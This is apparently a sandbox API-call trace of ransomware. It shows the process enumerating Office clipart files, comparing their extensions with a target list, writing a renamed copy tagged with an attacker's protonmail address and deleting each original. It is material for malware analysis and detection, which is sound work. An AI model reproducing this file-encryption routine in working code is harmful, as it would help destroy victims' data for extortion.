	[0180.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.681] lstrlenW (lpString=".dbf") returned 4
	[0180.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString=".1cd") returned 4
	[0180.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString=".jpg") returned 4
	[0180.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString=".doc") returned 4
	[0180.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString=".docx") returned 5
	[0180.682] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0180.682] lstrlenW (lpString=".pdf") returned 4
	[0180.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString=".xls") returned 4
	[0180.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.682] lstrlenW (lpString=".xlsx") returned 5
	[0180.682] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0180.682] lstrlenW (lpString=".ppt") returned 4
	[0180.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString=".zip") returned 4
	[0180.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.682] lstrlenW (lpString=".rar") returned 4
	[0180.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString=".bz2") returned 4
	[0180.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.682] lstrlenW (lpString=".7z") returned 3
	[0180.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.682] lstrlenW (lpString=".dbf") returned 4
	[0180.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.683] lstrlenW (lpString=".1cd") returned 4
	[0180.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.683] lstrlenW (lpString=".jpg") returned 4
	[0180.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.683] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.683] lstrlenW (lpString="J0090781.WMF") returned 12
	[0180.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.684] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5314) returned 1
	[0180.684] CloseHandle (hObject=0x4ac) returned 1
	[0180.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220
	[0180.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.684] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.684] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.685] GetLastError () returned 0x0
	[0180.685] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x14c2, lpOverlapped=0x0) returned 1
	[0180.687] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0180.688] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.688] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.688] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.688] CloseHandle (hObject=0x4a8) returned 1
	[0180.688] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.688] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.691] CloseHandle (hObject=0x4ac) returned 1
	[0180.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString=".doc") returned 4
	[0180.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString=".docx") returned 5
	[0180.692] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0180.692] lstrlenW (lpString=".pdf") returned 4
	[0180.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString=".xls") returned 4
	[0180.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.692] lstrlenW (lpString=".xlsx") returned 5
	[0180.692] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0180.692] lstrlenW (lpString=".ppt") returned 4
	[0180.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString=".zip") returned 4
	[0180.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.692] lstrlenW (lpString=".rar") returned 4
	[0180.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString=".bz2") returned 4
	[0180.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString=".7z") returned 3
	[0180.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString=".dbf") returned 4
	[0180.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString=".1cd") returned 4
	[0180.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.692] lstrlenW (lpString=".jpg") returned 4
	[0180.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString=".doc") returned 4
	[0180.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString=".docx") returned 5
	[0180.693] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0180.693] lstrlenW (lpString=".pdf") returned 4
	[0180.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString=".xls") returned 4
	[0180.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.693] lstrlenW (lpString=".xlsx") returned 5
	[0180.693] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0180.693] lstrlenW (lpString=".ppt") returned 4
	[0180.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString=".zip") returned 4
	[0180.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.693] lstrlenW (lpString=".rar") returned 4
	[0180.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString=".bz2") returned 4
	[0180.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString=".7z") returned 3
	[0180.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString=".dbf") returned 4
	[0180.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString=".1cd") returned 4
	[0180.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0180.693] lstrlenW (lpString=".jpg") returned 4
	[0180.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.694] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.694] lstrlenW (lpString="J0090783.WMF") returned 12
	[0180.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.694] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6934) returned 1
	[0180.694] CloseHandle (hObject=0x4ac) returned 1
	[0180.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0180.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.695] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.695] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.938] GetLastError () returned 0x0
	[0180.938] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1b16, lpOverlapped=0x0) returned 1
	[0181.061] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0181.062] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.062] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.063] SetEndOfFile (hFile=0x4a8) returned 1
	[0181.063] CloseHandle (hObject=0x4a8) returned 1
	[0181.063] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.063] SetEndOfFile (hFile=0x4ac) returned 1
	[0181.066] CloseHandle (hObject=0x4ac) returned 1
	[0181.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.067] lstrlenW (lpString=".doc") returned 4
	[0181.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.067] lstrlenW (lpString=".docx") returned 5
	[0181.067] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0181.068] lstrlenW (lpString=".pdf") returned 4
	[0181.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString=".xls") returned 4
	[0181.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.068] lstrlenW (lpString=".xlsx") returned 5
	[0181.068] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0181.068] lstrlenW (lpString=".ppt") returned 4
	[0181.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString=".zip") returned 4
	[0181.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.068] lstrlenW (lpString=".rar") returned 4
	[0181.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString=".bz2") returned 4
	[0181.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString=".7z") returned 3
	[0181.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString=".dbf") returned 4
	[0181.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString=".1cd") returned 4
	[0181.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString=".jpg") returned 4
	[0181.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.068] lstrlenW (lpString=".doc") returned 4
	[0181.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.068] lstrlenW (lpString=".docx") returned 5
	[0181.069] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0181.069] lstrlenW (lpString=".pdf") returned 4
	[0181.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString=".xls") returned 4
	[0181.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.069] lstrlenW (lpString=".xlsx") returned 5
	[0181.069] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0181.069] lstrlenW (lpString=".ppt") returned 4
	[0181.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.069] lstrlenW (lpString=".zip") returned 4
	[0181.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.069] lstrlenW (lpString=".rar") returned 4
	[0181.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString=".bz2") returned 4
	[0181.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString=".7z") returned 3
	[0181.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.069] lstrlenW (lpString=".dbf") returned 4
	[0181.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.069] lstrlenW (lpString=".1cd") returned 4
	[0181.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0181.069] lstrlenW (lpString=".jpg") returned 4
	[0181.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.069] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0181.070] lstrlenW (lpString="J0093905.WMF") returned 12
	[0181.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0181.070] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=42050) returned 1
	[0181.070] CloseHandle (hObject=0x4ac) returned 1
	[0181.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220
	[0181.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0181.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0181.071] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.071] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0181.072] GetLastError () returned 0x0
	[0181.072] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xa442, lpOverlapped=0x0) returned 1
	[0181.079] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xa450, lpOverlapped=0x0) returned 1
	[0181.080] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.080] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.081] SetEndOfFile (hFile=0x4a8) returned 1
	[0181.081] CloseHandle (hObject=0x4a8) returned 1
	[0181.081] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.081] SetEndOfFile (hFile=0x4ac) returned 1
	[0181.084] CloseHandle (hObject=0x4ac) returned 1
	[0181.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.086] lstrlenW (lpString=".doc") returned 4
	[0181.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.086] lstrlenW (lpString=".docx") returned 5
	[0181.086] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0181.086] lstrlenW (lpString=".pdf") returned 4
	[0181.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.086] lstrlenW (lpString=".xls") returned 4
	[0181.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.086] lstrlenW (lpString=".xlsx") returned 5
	[0181.086] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0181.086] lstrlenW (lpString=".ppt") returned 4
	[0181.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0181.086] lstrlenW (lpString=".zip") returned 4
	[0181.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.086] lstrlenW (lpString=".rar") returned 4
	[0181.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.086] lstrlenW (lpString=".bz2") returned 4
	[0181.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.086] lstrlenW (lpString=".7z") returned 3
	[0181.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
